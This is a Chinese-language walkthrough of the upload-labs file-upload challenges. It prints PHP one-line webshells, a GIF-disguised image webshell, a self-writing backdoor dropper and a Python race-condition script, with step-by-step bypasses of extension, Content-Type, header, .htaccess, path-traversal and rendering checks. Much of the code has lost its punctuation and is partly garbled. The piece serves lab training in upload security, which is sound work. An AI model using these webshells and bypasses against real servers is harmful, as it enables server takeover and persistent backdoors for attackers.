文件上传php官网PHPphp一句话木马将恶意代码木马伪装成看似正常的文件绕过网站的前端或后端检测并上传之后通过工具连接木马获得服务器控制权。 一句话木马是什么“一句话木马”是一种短小精悍的恶意代码通常只有一行但功能强大。它通过eval等函数执行接收到的指令为攻击者提供操作服务器的后门。当PHP标签被过滤时可以用%或%3C这类替代符号来绕过限制。这属于Web安全中常见的一句话木马变形技术通过使用不同编码或符号变体来规避关键词检测。链接到木马文件?php ... ?: PHP代码的起始和结束标签。: 错误控制运算符用于屏蔽执行中可能产生的错误信息。eval(): PHP中将字符串作为代码执行的函数是整个木马的核心。$_POST[cmd]: 从HTTP POST请求中获取名为cmd的参数值。当这个文件被上传并访问时攻击者可以通过客户端如蚁剑、菜刀向该文件发送POST请求参数cmd中携带要执行的系统命令这些命令就会被服务器执行。192.168.test.php?w3b这样的URL格式来执行命令但要注意编码问题可能导致显示异常比如出现黑点点。在PHP中尖角号是必须的否则代码不会被识别为PHP。但如果系统禁止使用尖角号使用PHP开头的方式比如短标签?或script languagephp。pikachu里文件上传漏洞的核心在于当系统允许上传文件时如果没有严格限制文件类型攻击者就可能上传恶意文件比如PHP木马。两个关键点1必须绕过限制成功上传2要知道文件最终存储在服务器的哪个路径否则上传了也无法利用。前期准备实时保护和防火墙关一下仅学习时使用原理php----pngburpsuit抓包请求里修改回php第一关源码function checkFile() { var file document.getElementsByName(upload_file)[0].value; if (file null || file ) { alert(请选择要上传的文件!); return false; } //定义允许上传的文件类型 var allow_ext .jpg|.png|.gif; //提取上传文件的类型 var ext_name file.substring(file.lastIndexOf(.)); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name |) -1) { var errMsg 该文件不允许上传请上传 allow_ext 类型的文件,当前文件类型为 ext_name; alert(errMsg); return false; } }1.创建php文件一句话木马的典型形式是eval($_POST[cmd])它的利用方式是通过给cmd参数赋值来执行任意PHP代码?php eval($_POST[cmd]);?2.蚁剑链接整个过程就是初始化→设置访问路径→通过参数名传递指令。3.burpsuit抓包修改后缀关键点在于1先用合法后缀如.png骗过前端检查2抓包后改回真实后缀.php3最后要确认文件上传路径才能执行攻击。4.右键查看新标签打开图像这个 PHP 文件就像一个对讲机蚁剑 正常对讲POST 带 cmd你持续发送指令删文件、看目录、上传文件服务器接收指令干活这就是 WebShell 正常管理功能。浏览器裸访问 对讲机开机自检无 cmd只是弹出环境信息你没法发指令控制服务器。原生一句话木马?php eval($_POST[cmd]);?浏览器 GET 访问报错Undefined index:cmd无法管理服务器蚁剑 POST 访问正常工作管理服务器文件?php if(isset($_POST[cmd])){ eval($_POST[cmd]); }else{ phpinfo(); } ?多加了一层 “自检页面”不会破坏蚁剑原本的通信功能两种访问方式互不干扰。第二关重点在于分析源代码。Content-Type属性的作用以及后端如何校验文件类型。Content-Type用来声明上传文件的类型白名单三种类型image/png、image/jpg、image/gif如果匹配才会继续处理文件如果不匹配就直接返回错误比如提示“文件类型不正确请重新上传”。这种校验方式能有效防止用户上传不安全的文件类型。修改Content-Type字段把原本的text/php改成image/jpeg或image/png来欺骗系统验证解析效果先用简单的phpinfo()函数测试是否上传成功确认服务器能解析上传的php文件第三关源码分析上传test.pngburpsuit修改第四关阿帕奇(Apache)服务器配置文件的特殊用法源码分析$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件不允许上传!; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } }题目考察的是.htaccess这个文件它是目录级别的配置文件不像主配置文件那样全局生效。FilesMatch \.jpg$ SetHandler application/x-httpd-php /FilesMatch利用Apache的.htaccess配置文件。通过在upload目录下创建这个文件可以强制让Apache把jpg文件当作php来解析。核心在于真正的攻击成功需要同时满足两个条件绕过上传限制确保文件能被正确解析执行。burp 抓包修改后缀为.htaccess上传旧写法 AddType application/x-httpd-php 在新版 Apache2.4 已经废弃是产生 500 错误的主要原因修改php到有nts版本----因为Apache默认不会走FPM进程需要手动切换到NginxPHP(NTS版本)的组合才能触发解析。第五关文件访问重定向源代码黑名单校验很难做到完全覆盖比如用全大写的.PHP后缀或者.php7、.html等变体都可能绕过限制。当用户访问某个目录下的php文件时系统会默认加载同目录下的jpg文件内容。正常情况下访问jpg不会执行php代码但通过创建.htaccess配置文件就能实现访问php文件时自动加载jpg内容的效果。auto_prepend_fileshell.jpg在user.ini文件中添加一行配置就能实现访问任何内容前先加载这张图片的功能。修改的user.ni文件没生效——因为Apache默认不会走FPM进程需要手动切换到NginxPHP(NTS版本)的组合才能触发解析。第六关源代码先上传.htaccess文件再上传test.png文件test.php 空格第七关. /.空格在文件名末尾加一个点可以让系统误判文件类型。比如把test.php.上传时服务器会忽略最后的点仍按php文件执行。第8关本关考核的是deldot()函数的行为。deldot()只删除末尾的一个点但实际源码中它是循环删除所有末尾点。shell.php. . → shell.php. . trim 先去空格第9关index.txt::$DATA默认数据流源码分析// 黑名单数组禁止上传的后缀已经包含 .htaccess::$DATA流名的特殊语法访问非默认流比如index.txt:metadata不过直接打开文件时系统默认只显示主数据流。第10关单次字符串替换双写绕过filenametest.pphphp第11关GET 路径穿越save_path 漏洞本关考核的是路径穿越Directory Traversal漏洞。源码使用白名单检查扩展名但save_path参数直接来自 GET 请求未做任何过滤可注入../实现任意路径写入。源码分析第12关POST 路径穿越本关与 Pass-11 原理相同但save_path从 GET 改为 POST。POST 数据不会 URL 编码需要在 Burp 中直接插入原始空字节。第13关手工读取文件头unpack本关考核的是最基础的文件类型检测——只读取文件头 2 个字节判断文件类型。这种检测极其薄弱任何文件只要前 2 字节匹配就能通过。图片码》服务器访问图片码---》服务器没办法把php图片识别为php 代码图片马具体详细步骤见第15关也可以用 0x00截断第14关项目Pass-13Pass-14检测深度只看前 2 字节解析完整图片结构纯文本改后缀能通过只要加2字节头不能通过不是真图片图片马要求任意文件合法头必须是真正的图片文件检测函数unpack()手工解包getimagesize()内置函数步骤和上关一样详细步骤见15关第15关提示文件上传验证绕过的技术点。他在文件内容前添加了gif89a的魔术数字成功让系统误判文件类型为GIF。比如第14关使用getimagesize()函数检测图片尺寸就算改了魔术数字上传PHP文件还是会报错。第15关则是通过image_type判断文件类型同样存在被绕过的风险。上传失败的根本原因不是代码逻辑错误而是缺少upload目录。解决方法很简单——手动创建upload文件夹即可。本关使用exif_imagetype()检测文件类型。该函数读取文件开头的签名库比前两关更全面但同样不检查尾部内容。需要启用 PHP EXIF 扩展。1.修改配置文件2.重启Apache3.验证命令行php -m | findstr exif 或访问 phpinfo() 页面搜索 exif具体步骤1.准备图片a.jpg和文件shesll.php2.Windows CMD 合成命令:: jpg图片马 copy a.jpg /b shell.php /a shell.jpg在这个文件目录下输入cmd打开参数说明/b二进制模式图片/aASCII 文本模式php 代码Linux 命令等效cat a.jpg shell.php shell.jpg3.上传图片马上传成功后记录返回的文件地址类似upload/3020260729072259.png成功截图第16关防御方式它不仅校验文件类型还会对上传内容进行二次渲染。图片上传后系统会打乱原文件内容导致嵌入的PHP代码失效。关键解决思路是通过比对原图和渲染后的文件找出未被修改的部分然后把木马代码插到这些保留区域。源码分析操作步骤1.构造 GIF 图片马GIF89a ?php eval($_POST[cmd]); ?大家也可以用这个也是一样的一句话木马只是润色避免了我浏览器打不开GIF89a ?php if(isset($_POST[cmd])){ eval($_POST[cmd]); }else{ phpinfo(); } ?注意这里的图片一定要是动图下面是我找到的gif格式的图片先把它重命名a.gif上传875.gif第二次导入上传在得到GIF 文件头GIF89a是校验关键exif_imagetype()识别为合法 gif。为什么 GIF 更容易成功PHP 的imagecreatefromgif对 GIF 的注释 / 文件头部内容保留性更强多数情况下不会清除头部代码然后用010Editor比较后面两张图片在空白处写入一句话木马的代码上传后面步骤一样。第17关--条件竞争漏洞分析关键点在于当用户上传可疑文件时系统会先用unlink()函数立即删除该文件这是一种安全防护措施。防御逻辑是先把上传文件暂存到指定路径检测到异常就立即调用unlink删除。核心思路是通过同时发送大量请求来突破系统限制比如默认发10个请求但可以调整到每次发20个来提高攻击频率。关键在于观察响应状态码——如果返回200说明上传成功即使后续被删除而访问时只要不是404就代表命中了一次有效文件。实际操作中需要双线并行一边持续上传文件另一边不断访问目标路径。就像打地鼠游戏只要抓住任何一个非404的响应瞬间就证明攻击成功了。不过要注意这种暴力破解方法需要反复尝试成功率不稳定。步骤1.上传test.png用burpsuit抓包步骤 2Intruder 持续发包不断尝试上传将数据包发送到 IntruderPayload 设置Null payloads无载荷单纯循环重放选项设置线程数调至30~50无限循环发包作用不停上传 shell.php让文件反复落地步骤 3并发持续访问文件抢占竞争窗口方案 ABurp Repeater 多标签新建请求循环访问地址http://192.168.178.1/upload/Pass-17/shell.php开启多线程持续 GET 访问。方案 BPython 脚本成功率更高推荐import requests import threading url http://192.168.178.1/upload/Pass-17/shell.php data {cmd:phpinfo();} def visit(): while True: try: res requests.post(url,datadata,timeout0.3) if res.status_code 200 and phpinfo in res.text: print(✅竞争成功木马执行) break except: pass t threading.Thread(targetvisit) t.start()脚本持续 POST 发包触发 eval一旦命中时间窗口页面执行 phpinfo。第18关Pass17后端不随机改名可以直接竞争访问原文件名Pass18后端随机重命名必须使用 “自写入生成固定文件名” 的 Payload这是最关键区别不要直接写一句话改用文件创建木马修改你的test.php内容?php // 访问瞬间在当前目录生成稳定名字shell.php $f fopen(shell.php,w); fwrite($f,?php eval($_POST[cmd]); ?); fclose($f); ?原理说明Intruder 持续高并发上传test.php在服务器删除test.php之前GET 访问触发代码执行脚本自动生成固定名称 shell.php后续直接访问http://192.168.178.1/upload/Pass-18/shell.php永久后门后面操作和上一关一样第19关接收 POST 参数save_name自定义保存文件名第20关save_name[0]shell.php save_name[1]jpg